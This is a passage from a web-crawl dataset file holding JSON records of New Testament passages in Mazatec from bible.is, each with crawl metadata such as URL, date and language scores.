k'oa̱á ngaya-la̱ koni s'ín jngoò soldado nga kjoé escudo-la̱, jè xi síkits'o ni'ín flecha xi títì-la̱ xi̱ta̱ nei̱í. 17 Jè kjoa̱ nga bitjokájioòn kjo̱'in, jè ngaya-la̱ jè tsí'nguién ki̱cha̱ xi osìko̱ sko̱ soldado. Koa̱ jñà 'én ndaà-la̱ Nainá jè ngaya-la̱ ki̱cha̱ ndojò xi tsjá Ini̱ma̱ Tsjeè-la̱ Nainá. 18 Kiì bìkjoàn-là nga bìtsi'bà-là Nainá; ti̱jét'aà kjit'aà-là koni s'ín beèno̱jmíya-nò Ini̱ma̱ Tsjeè-la̱ Nainá. Kjit'aà na̱chrjein titsa̱jnandaà; kiì nìhindaà-jèn nga bitsi'batjiò ngats'iì xi̱ta̱ na̱xa̱ndá-la̱ Nainá. 19 Ti̱koa̱ titsi'batjì-ná i̱t'aà ts'a̱n mé-nè nga Nainá tsjá-na 'én xi kichjà, koa̱ mé-ne nga mì kiì tsakjoòn-na k'e̱ nga kéno̱jmí-la̱ xi̱ta̱ jè 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ochrjekàjiìn-ná kjo̱'in mé-ne nga ko̱ma skoe̱-ne jè kjoa̱'ma xi tíjna-la̱ Nainá skanda kjòtseé. 20 Nainá kisìkasén-na nga 'an kichjà ngajo-la̱ i̱t'aà ts'e̱ 'én ndaà-la̱; koií kjoa̱-la̱ nga nda̱yá tijna̱aya; sijét'aà-nò nga tìtsi'batjì-ná mé-ne nga mì tsakjoòn-na nga kéno̱jmiá 'én ndaà-la̱. 21 Tisìkasén-nò jè 'ntsé Tíquico jè xi matsjachaá, ti̱koa̱ ndaà síxá-la̱ Nainá. Jè o̱ki̱tso̱ yije-nò xi i̱t'aà ts'a̱n, kó s'ín tijna̱a, ko̱ mé xi tis'ian. 22 Koií xá tísìkasén-nò nga ke̱èno̱jmí-nò xi i̱t'aà tsa̱je̱n kós'ín titsa̱jna-je̱n ko̱ mé-ne nga kàtatsjá-nò nga'ñó ts'e̱ ini̱ma̱-nò. 23 Jè Nainá xi Na̱'èn-ná ko̱ jè Jesucristo xi otíxoma-ná kàtasíkijna 'nchán i̱jiìn ini̱ma̱-nò ngats'ioò xi xinguia̱á chibá; kàtatsjá-nò nga tjòchaà t'e̱en xinguio̱o, nga mokjeiín-nò i̱t'aà ts'e̱ Nainá. 24 Jè kjo̱ndaà-la̱ Jesucristo xi otíxoma-ná kàtìjna-ko̱ ngats'iì xi̱ta̱ xi mì kiì síkjahatjiya-la̱ kjo̱hítsjen-la̱ nga kjit'aà na̱chrjein ndaà matsjakeè Na̱'èn-ná Jesucristo. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/6","date":"2013-05-26T01:47:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706477730\/warc\/CC-MAIN-20130516121437-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":683,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebreos 4:12\n12 'Én-la̱ Nainá tíjnakon-né ko̱ tjín-la̱ nga'ñó. Ìsa̱á ndaà ote mì k'oa-ne jngoò ki̱chja̱ ndojò xi yijò nga ingajò ngobà-la̱; fahas'enjiìn-né skanda ya̱ i̱jiìn ini̱ma̱-ná ko̱ ya̱ i̱jiìn kjo̱hítsjeèn-ná. Ti̱koa̱á fahas'enjiìn-né skanda ñánda tíkjoò nindaà-ná ko̱ i̱ya nindaà-ná; ótsjiya-né kjo̱hítsjeèn-la̱ ini̱ma̱-ná mé xi mejèn-la̱ nga s'ín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/4\/12","date":"2013-05-21T21:01:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700563008\/warc\/CC-MAIN-20130516103603-00092-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9993445277,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999344527721405}","num_words":65,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 11:7\n7 K'e̱ nga jye kiì-ne xi̱ta̱ xi kota'yàt'aà-la̱ Juan, tsibíts'ia̱ Jesús nga tsohóko̱ xi̱ta̱ xi i̱t'aà ts'e̱ Juan, kitsò-la̱: —¿Mé xi tsanguì chìtsejèn-là ya̱ i̱nde i̱t'aà xìn ñánda nangui kixì chon? ¿A jè tsanguì chìtsejèn-là jngoò xi̱ta̱ xi yá ína̱xo̱ kji nga tsjìn-la̱ nga'ñó nga ma síjtìya-la̱ tjo̱?\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/7","date":"2013-05-25T10:31:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705936437\/warc\/CC-MAIN-20130516120536-00065-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995648265,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9995648264884949}","num_words":68,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Mejèn-na nga ndaà kàtasijiìn-nò, nga 'ñó tikjaàtji-nò i̱t'aà tsa̱jòn ko̱ jñà xi̱ta̱-la̱ Cristo xi títsa̱jna ján na̱xa̱ndá Laodicea, ko̱ i̱t'aà ts'e̱ ngats'iì xi̱ta̱ xi kj'eè kiì beèxkon-na. 2 Koií k'oa̱s'ín tikjaàtji-nò mé-ne nga kàtas'e-la̱ nga'ñó ini̱ma̱-nò ko̱ mé-ne nga jè kjo̱tsjacha xi tjín-nò si̱ìkítsa̱jnajtín-nò. Jè xi mejèn-na nga isa̱ nda ko̱kixi̱ kjo̱hítsjen-nò nga ngui ndaà ko̱chiya-nò jè kjoa̱ xi tjí'ma-la̱ Nainá xi Na̱'èn-ná. Jè kjoa̱'ma jè, jè-né Cristo. 3 Nga ta jè Cristo tjín-la̱ ngats'iì kjo̱hítsjen ko̱ kjoa̱chji̱ne̱ xi 'ñó chjí-la̱. 4 Koií k'oa̱s'ín tixan-nò nga mì yá xi skóna̱cha̱n-nò nga si̱ìkjeén 'én xi ndaà tso ta̱nga mìtsà 'én kixi̱. 5 Na̱s'ín mìtsà ya̱ tìjna̱ko̱-nò, ta̱nga ini̱ma̱-na̱ tísíkítsjen kji'taà-nò. Matsjaà-na nga tì'be nga kixi̱ titsa̱jtión koni s'ín onguíko̱o yijo-nò ti̱koa̱ kixi̱ titsa̱jnaà nga mokjeiín-nò i̱t'aà ts'e̱ Cristo. 6 Koni s'ín kòkjeiín-nò i̱t'aà ts'e̱ Jesucristo xi otíxoma-nò, k'oa̱á ti̱ s'ín kixi̱ ti̱tját'aà kjit'aà-là 7 koni jngoò yá xi na̱nga̱ fì i̱ma̱-la̱ ko̱ koni jngoò ni'ya xi tísindasòn isa nga kàtakixi̱ya jè kjoa̱ xi mokjeiín-nò koni s'ín kichita'yà; ko̱ tjiì kjit'aà-là kjo̱ndaà Nainá. 8 Ti̱kindaà yijo-nò nga mì jñà skóna̱cha̱n-nò xi̱ta̱ xi 'én ndiso chja̱ xi nìmé chjí-la̱. Jñà kjo̱hítsjeèn koi, tà ya̱á nchrobá-ne i̱t'aà ts'e̱ xi taxki̱ xi̱ta̱ koni tsò kjo̱tíxoma xi tjín i̱sò'nde, mì tsà kjo̱tíxoma ts'e̱ Cristo. 9 Ya̱á tíjnajin yijo-la̱ Cristo, yá-ne xi ngui jè soba Nainá nga ni̱mé chijat'aà-la̱. 10 Nga Cristo titsajnàko̱o, tjín yije-nò ni̱ta̱ mé xi mochjeèn-nò. Jè Cristo otíxoma-la̱ ngats'iì nga'ñó ko̱ kjo̱tíxoma xi mì kiì tsejèn. 11 Ti̱koa̱á i̱t'aà ts'e̱ Cristo kisit'aà chi̱ba̱-nò kjoa̱ ts'e̱ circuncisión, ta̱nga mìtsà jè xi tsja xi̱ta̱ bít'aà chi̱ba̱-la̱ yijo-ná, jè-né nga jè Cristo tsibít'aà chi̱ba̱-la̱ ini̱ma̱-nò k'e̱ nga jahaxìn jé xi tjín-la̱ yijo jé-nò. 12 Ti̱koa̱ k'e̱ nga komà bautizar, k'oa̱á ngaya-la̱ koni tsa ya̱ kisìhijiìn-t'aà-là Cristo xi kjoa̱ ts'e̱ jé-nò. K'oa̱á ti̱ s'ín jaháya-nò koni s'ín jaháya-la̱ Cristo koií kjoa̱-la̱ nga mokjeiín-nò nga'ñó xi tjín-la̱ Nainá nga komà kiskiímihìtje̱n Cristo i̱t'aà ts'e̱ kjoa̱ biyaà. 13 Jñò, nga sa̱ ítjòn, titsa̱jnaà k'en-nò i̱t'aà ts'e̱ Nainá koi kjoa̱-la̱ jé-nò nga jè Cristo kj'eè kiì bít'aà chi̱ba̱-la̱ ini̱ma̱-nò nga faháxìn jé xi tjín-la̱ yijo jé-nò. Ta̱nga i̱'ndei̱, Nainá jyeé kisìkítsa̱jnakon-nò ko̱ Cristo nga kisijchat'aà-nò ngats'iì jé-nò. 14 K'oa̱á ngaya-la̱ koni tsa jye kisìkjeheya-ne xo̱jo̱n xi kitjámiì'nga xi kondra̱ tsa̱ján. Jaháx'ìn-ne, ya̱á tsohójnat'aà krò ñánda k'en-t'aà Cristo. 15 Jñà nga'ñó xi tjín i̱jiìn i̱sén ko̱ ngats'iì xi otíxoma, Nainá jaháxìn yije-la̱ nga'ñó-la̱. Ya̱á kisikijne-la̱ k'e̱ nga jè Cristo k'en-t'aà krò. Ko̱ ngats'iì xi̱ta̱, ya̱á kijtse nga kisìchja. 16 K'oa̱á ma-ne jñò, kì kiì nìs'in-là xi̱ta̱ xi chja̱jno-nò nga tsò-nò nga mì kiì nìkitasòn kjoa̱ ts'e̱ tsojmì xi chine, xi 'yo, kjoa̱ ts'e̱ s'eí xi bitjo, kjoa̱ ts'e̱ nga otsejen xi̱tse̱ ijngoò k'a sá, ko̱ ts'e̱ na̱chrjein nìkjáya. 17 Ngats'iì kjoa̱ koi, k'oa̱á ngaya-la̱ koni tà 'nguién-la̱á kjoa̱ xi i̱xkan j'iì; ta̱nga jè xi nguiì kjoa̱ kixi̱, jè Cristo. 18 Kì kiì biì'nde nga faáxìn-nò jè kjo̱ndaà xi jye titsa̱jnaàjñoò jñà xi̱ta̱ xi beèxkón àkja̱le̱; k'oa̱á tsò-la̱ yijo-la̱ nga mì tsà xi̱ta̱ 'nga ikon. Jè xi mejèn-la̱ nga jñò k'oa̱ ti s'ín s'e̱èn. Jñà xi̱ta̱ koi tsò-né nga i̱nga nijñá ki'seno̱jmí-la̱ kjoa̱ jè, ko̱ 'ñó 'nga sikítsa̱jna yijo-la̱ xi ta kjo̱hítsjeèn ts'e̱, ta̱nga nìmé chjí-la̱. 19 Xi̱ta̱ koi mìtsà ya̱ ndaà fìt'aà-la̱ Cristo. Nga jè Cristo tíjna sko̱-la̱ na̱xa̱ndá-la̱ ko̱ jè tsjá-la̱ kjo̱hítsjen ko̱ nga'ñó ko̱ jè síkítsa̱jnajtín xi̱ta̱-la̱ koni s'ín ma yijo-ná nga jñà naxá-ná bítéya nindaà-ná, mé-ne nga ndaà si̱ìxá-ne na̱xa̱ndá-la̱ Cristo koni s'ín mejèn-la̱ Nainá. 20 Jñò, ta̱ñaá k'en-ko̱ò Cristo, k'oa̱á ma-ne nga mì kiì ti̱ tjí'nde-nò nga jñà si̱kitasòn kjo̱tíxoma xi tjín i̱sò'nde. ¿Mé-ne tákó k'oa̱s'ín 'nèhe-nò koni tsà kjoa̱ ts'e̱ i̱sò'nde otíxoma-nò nga nìkitasòn-nò kjo̱tíxoma 21 xi tsò: \"Kiì kiì nìkoi̱i tsojmì koi, kì kiì chi̱niì, kì ntsei̱ì nìko̱-ne.\"? 22 Jñà kjo̱tíxoma koi, tà ts'e̱é tsojmì xi chija k'e̱ nga tímochjeèn. Tà kjo̱tíxoma ts'e̱ xi̱ta̱-né koni s'ín okóya. 23 Jñà kjo̱tíxoma koi, k'oa̱á s'ín 'ya-la̱ koni tsa tjín-la̱ kjoa̱chji̱ne̱ ta̱nga mì tsà kixi̱ kjoa̱. Nga̱ síjé-ná nga ndaà si̱kitasoán kjoa̱ xi 'in tjín mé-ne nga ndaà jcha̱xkoán kjo̱tíxoma xi tjín-la̱ i̱ngo̱; ti̱koa̱á tsò-né nga mochjeén nga mì xi̱ta̱ 'nga ikon ko̱maá, ko̱ nga kínè-lá kjo̱'in yijo-ná. Ta̱nga jñà kjoa̱ koi nìmé chjí-la̱, nga mì kiì ma osíko̱-ná nga nìkítsa̱jnaá jñà kjoa̱ ch'o xi síjé yijo-ná.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Col\/2","date":"2013-06-20T00:19:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709906749\/warc\/CC-MAIN-20130516131146-00065-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":677,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 16:6\n6 Nga jñà xi̱ta̱ koi tsibíxteèn jní-la̱ xi̱ta̱-lè nga jñà kisìk'en, ko̱ xi̱ta̱ xi kiìchja̱-ngajo-lè. I̱'ndei̱ ngaji̱ k'oa̱á tis'ín tì'biì ngajo-la̱ jní nga nchi'bi; ya̱á chi̱ba̱-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16\/6","date":"2013-05-23T02:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702749808\/warc\/CC-MAIN-20130516111229-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9970852137,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9970852136611938}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:2\n2 Jñà xi̱ta̱ chi̱'nda xi mokjeiín-la̱ nei-la̱ i̱t'aà ts'e̱ Cristo, machjeén-né nga ngásòn ndaà kàteèxkón nei-la̱ nga 'ntse̱ joó i̱t'aà ts'e̱ Cristo. Ìsa̱á ndaà kàtasíxá-la̱ nga ngásòn mokjeiín-la̱ 'én-la̱ Nainá ti̱koa̱ tsjakeè xíkjín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/2","date":"2013-06-18T07:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707186142\/warc\/CC-MAIN-20130516122626-00027-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.999666214,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9996662139892578}","num_words":52,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 11:21\n21 Nainá, tsà mì kiì kitsjaà'nde-la̱ jñà chrja-la̱ jè yá olivo ndaà nga ya̱ kíjnakjoòko̱ ti̱koa̱á ngaji̱ tsà mì ti̱ kiì mokjeiín-lè mì ti̱ kiì tsjá'nde-lè nga ya̱ ki̱jnakjoòkoi̱i.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/21","date":"2013-05-22T05:00:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701314683\/warc\/CC-MAIN-20130516104834-00069-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998605251,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9998605251312256}","num_words":48,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 An, xi Simón Pedro 'mì-na̱, nga 'a̱n xi chi̱'nda-la̱ Jesucristo ma, ko̱ nga ti̱koa̱ 'an tsibíxáya-na̱, tísíkasén-nò xo̱jo̱n jè, jñò xi ngásòn 'ñó ndaà mokjeiín-nò koni s'ín mokjeiín-naje̱n; nga xi̱ta̱ kixi̱-né jè Jesucristo xi Nainá ma ko̱ xi ochrjekàjiìn-ná kjo̱'in. 2 Koni s'ín nga isa̱ ndaà titsa̱yaxkon Nainá ko̱ jè Jesucristo xi otíxoma-ná, k'oa̱á s'ín isa̱ ndaà kàtasakó-nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱-nò. 3 Jè nga'ñó-la̱ Nainá tsjá yije-ná xi mochjeèn-ná nga titsa̱jnakoaán ko̱ nga ndaà yaxkoán Nainá. Koií kjoa̱-la̱ nga tsjá-ná ngats'iì kjo̱nda koi nga yaxkoaán jè xi ko̱ kjoa̱jeya-la̱ ko̱ nga'ñó tsjeè-la̱ kiìchja̱-ná. 4 I̱t'aà ts'e̱ kjoa̱ koi, kitsjaà-ná kjoa̱ xi 'ñó ndaà tjín ko̱ xi 'ñó tse chjí-la̱ koni s'ín kitsjaà tso'ba Nainá, mé-ne nga ti̱koa̱ ko̱ko̱t'aà-ná nga k'oa̱s'ín s'e̱én koni s'ín s'ín Nainá nga jye chinchat'aàxìn-là kjoa̱ xi ch'o síjé yijo-ná i̱ i̱sò'nde xi ta síkits'ón-ná. 5 K'oa̱á ma-ne, 'ñó tìnè-là yijo-nò jñà kjoa̱ koi. Koni s'ín nga mokjeiín-nò i̱t'aà ts'e̱ Cristo, k'oa̱á ti̱ s'in mochjeén-né nga ndaà xi̱ta̱ katama jñò. Nga jye ndaà xi̱ta̱ ma, ti̱koa̱ mochjeén-né nga katas'e-nò xi kjoa̱ chji̱ne̱. 6 Nga jye tjín-nò kjoa̱ chji̱ne̱, ti̱koa̱á mochjeén-né nga kixi̱ tatixoma-là yijo-nò. Ko̱ nga jye kixi̱ otíxoma-là yijo-nò ti̱koa̱ mochjeén-né nga s'e̱-nò kjoa̱tsejta. Ko̱ nga jye tjín-nò kjoa̱tsejta, ti̱koa̱á mochjeén-né nga ngui ndaà chaxkón Nainá. 7 Nga jye ndaà yaxkón Nainá, ti̱koa̱ mochjeén-né nga ndaà ti̱tsjachaà xinguio̱o. Ko̱ nga jye ndaà matsjachaà xinguio̱o, ti̱koa̱á mochjeén-né nga ngui ndaà ti̱tsjachaà ngats'iì xi̱ta̱ xi kj'ei̱í. 8 Jñò, tsà tjín-nò kjo̱ndaà koi, ko̱ tsa kjit'aà na̱chrjein tík'aasòn-nò, mì jyò ki̱tsa̱jnaà; ngui ndaà ko̱chjeèn-nò nga isa̱á ndaà jcha̱xkoòn Jesucristo xi otíxoma-ná. 9 Ta̱nga tsa tjín i'nga xi tsjín-la̱ kjo̱ndaà koi, k'oa̱á ngaya-la̱ koni xi̱ta̱ xka̱n xi mì kiì ndaà tsejèn-la̱; jyeè kijcha̱ajiìn-la̱ nga Nainá jye kisìjchaa̱t'aà-la̱ jé xi kis'e-la̱ nga sa ítjòn. 10 K'oa̱á ma-ne, jñò, ndí 'ntsè, isa̱ 'ñó tji-là nga'ñó yijo-nò nga tikixi̱ya kjoa̱ nga Nainá xó k'oa̱á s'ín kiìchja̱-nò ko̱ jaájiìn-nò. Tsa k'oa̱s'ín s'e̱en kjit'aà, ni̱ mé jé ska̱jion. 11 Nga k'oa̱ás'ín ko̱ma nga tjáxa̱'nde-nò nga ki̱tjáseèn ñánda tíhotíxoma ni̱ta̱kjé-ne jè Jesucristo xi ochrjekàjiìn-ná kjo̱'in ko̱ xi otíxoma-ná. 12 Koií kjoa̱-la̱ kjit'aà na̱chrjein sikítsjeèn yije-nò kjoa̱ koi, na̱s'ín jye ma-nò ko̱ jye kixi̱ titsa̱jnako̱o jè kjoa̱kixi̱-la̱ Nainá koni s'ín mokjeiín-nò na̱chrjein i̱'ndei̱. 13 K'e̱ nga tákó tijna̱kon ìsa̱a i̱ i̱sò'nde jè, mochjeèn-né nga síkítsjeèn-nò nga ko̱s'ín ti̱jchá yijo-nò. 14 Jè Jesucristo xi otíxoma-ná jye k'oa̱s'ín kitsò-na nga jyeè kjochrañàt'aà nga kjoe̱het'aà na̱chrjein-na̱. 15 Ti̱koa̱á 'an tíbínè-la̱ yijo-na̱ nga tísíkítsjen-nò mé-ne k'e̱ nga 'an xi jye ki̱yá, nga na̱chrjein nchijón k'oa̱á s'ín ti̱kítsjeèn kjoa̱ koi. 16 Nga mì tsà ta cuento xi ta xi̱ta̱ kisìkítsjen koni s'ín tsibeno̱jmí-nòje̱n kó kji nga'ñó kis'e-la̱ Na̱'èn-ná Jesucristo ko̱ nga kjoi̱í ìjngoò k'a. Nga xkoón ki'ya-naje̱n kjoa̱jeya-la̱ nga 'ñó tsee nga'ñó tjín-la̱. 17 Ki'ya-náje̱n k'e̱ jè Nainá xi Na̱'èn-ná nga jeya ko̱ 'nga kisìkíjna Jesucristo. Kina'ya-la̱ ya̱ i̱jiìn i̱sén ya̱ ñánda 'ñó ote kji 'én xi kitsò: \"Jè jè xi ki'ndí-na̱ xi 'ñó matsjakeè nga xó 'an jaájiìn-na.\" 18 Nga̱je̱n sobà kina'yà-laje̱n jñà 'én xi ngajmiì inchrobà-ne k'e̱ nga titsajnako̱-je̱n Jesucristo ya̱ i̱sò'nga nindoò tsjeè-la̱. 19 Nga yije kjoa̱ koi, k'oa̱ás'ín ìsa̱ ndaà makixi̱ya koni s'ín kiìchja̱ jñà xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá. 'Ñó ndaà-ne nga na'ya-la̱ 'én koi. K'oa̱ás'ín ngaya-la̱ koni jngoò ni'ín xi síhi̱seèn ya̱ i̱'nde ñánda jñò chon skanda k'e̱ nga s'e̱ i̱sén, i̱kjoàn síhiseèn-jiìn ini̱ma̱-ná koni jè ni'ño tse. 20 Ítjòn k'oa̱ás'ín ndaà kàtasíjiìn-nò, jñà 'én xi tjít'aà Xo̱jo̱n-la̱ Nainá, mì tsà ta jngoò xi̱ta̱ kitsjaà kjo̱hítsjeèn-la̱ nga kitjei. 21 Nga jñà xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá, ni̱ jngoò 'én xi ta̱ kjo̱hítsjeèn ts'e̱ nga kiìchja̱ya. Jé Ini̱ma̱ Tsjeè-la̱ Nainá kisìkichi̱ya-la̱ kjo̱hítsjen-la̱ xi̱ta̱ koi nga komà kiìchja̱ya 'én-la̱ Nainá.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/1","date":"2013-05-21T21:28:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700626424\/warc\/CC-MAIN-20130516103706-00041-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999991655349731}","num_words":585,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 10:15\n15 Koa̱ jè xi̱ta̱ xi ke̱èno̱jmí 'én, mì kiì ko̱ma si̱ìxá tsà mì yá xi si̱íkasén. K'oa̱s'ín tjít'aà xo̱jo̱n: \"Mé tà ndaà-ne nga k'oa̱s'ín binchimasòn jñà xi̱ta̱ xi chja̱ya 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ts'e̱ kjoa̱'nchán.\"\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10\/15","date":"2013-05-19T15:05:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697745221\/warc\/CC-MAIN-20130516094905-00051-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994805455,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9994805455207825}","num_words":58,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngaji̱ Timoteo, kàtasijiìn-lè k'e̱ nga tímachrañàt'aà na̱chrjein nga kjoi̱í ìjngoò k'a-ne Cristo, kjìn sko̱ya kjoa̱ s'e̱ xi mì kiì ndaà tjín. 2 Jñà xi̱ta̱ xi s'e̱, tà yijo-la̱á 'ñó si̱ìsin-la̱; to̱ón 'ñó ko̱tsjakeè; yijo-la̱á 'ñó ndaà si̱ìkítsa̱jna; xi̱ta̱ 'nga ikoón ko̱ma; ki̱chja̱jno-la̱ Nainá ko̱ xi̱ta̱; mì kiì kiì'nchréñijon-la̱ xi̱ta̱ jchínga-la̱; mì kiì tsjá ngajo-ne kjo̱ndaà, mì kiì skoe̱xkón Nainá, 3 mì kiì si̱ìtjòkeè xíkjín, jngoò k'a mì kiì si̱ìje-la̱ ikon, 'én ndiso tsjátin xíkjín, mì kiì si̱ìkinda̱ yijo-la̱ mé kjoa̱ xi s'i̱in, xi̱ta̱ ch'o ko̱ma, kondra̱á kjoi̱-la̱ kjoa̱ xi ndaà tjín, 4 kondra̱á kjoi̱-la̱ amigo-la̱, mì tsà ítjòn si̱ìkítsjeèn mé kjoa̱ xi s'iìn, 'ñó 'nga ikon ko̱ma, jè si̱ìtsjakeè kjoa̱ ts'e̱ i̱sò'nde xi sasén-la̱ yijo-la̱, mì kiì si̱ìtsjakeè Nainá. 5 K'oa̱á s'ín s'iìn koni tsà beèxkón Nainá, ta̱nga mì kiì tsjá'nde nga jè nga'ñó-la̱ Nainá si̱ìxájiìn ini̱ma̱-la̱. Xi̱ta̱ koi kì kiì nìs'in-la̱. 6 Jñà xi̱ta̱ koi, ótsji'nde-la̱ nga fahas'en ni'ya-la̱ íchjín xi mì kiì beèxkón yijo-la̱ ko̱ xi tse jé tjín-la̱ nga ma kona̱cha̱n-la̱. Íchjín koi, ya̱á fìtje̱ngui-la̱ kjoa̱ xi ìsa̱ 'ñó ch'o tjín koni s'ín mejèn-la̱ yijo-la̱. 7 Kjit'aà na̱chrjein nchikota'yà 'én xi̱tse̱ ta̱nga ni̱ jngoò na̱chrjein fahas'en-jiìn-la̱ xi nguiì kjoa̱kixi̱. 8 Jñà xi̱ta̱ koi, k'oa̱á ti̱ s'ín binchahikon-la̱ xi kjoa̱kixi̱, koni kis'iìn xi̱ta̱ chji̱ne̱ xi ma-la̱ bíndaà xi ki'mì Janes ko̱ Jambres nga chinchahikon-la̱ Moisés. Xi̱ta̱ koi, jngoò k'a ch'o tjín kjo̱hítsjeèn-la̱. Bitjongui-né nga nguixko̱n Nainá nga mì kiì mokjeiín-la̱ xi kjoa̱kixi̱. 9 Ta̱nga mì kiì si̱ìkijne. Ki̱jchò na̱chrjein nga skoe̱ yije xi̱ta̱ kjoa̱ to̱ndo̱-la̱. K'oa̱á s'ín jcha̱tin-la̱ koni jè Janes ko̱ Jambres. 10 Ta̱nga ji Timoteo k'oa̱á s'ín tímìtje̱ngui-la̱ koni s'ín tsakoòya-lè, koni s'ín tísíjchá yijo-na̱, koni s'ín tjín kjo̱hítsjeèn-na̱ mé kjoa̱ xi tìfìtje̱ngui-la̱. K'oa̱á ti̱ s'ín mokjeiín-lè koni s'ín mokjeiín-na an i̱t'aà ts'e̱ Cristo. K'oa̱á s'ín tjín kjoa̱tsetakòn-lè ko̱ kjoa̱tjòchaà-lè koni s'ín tjín ts'a̱n. 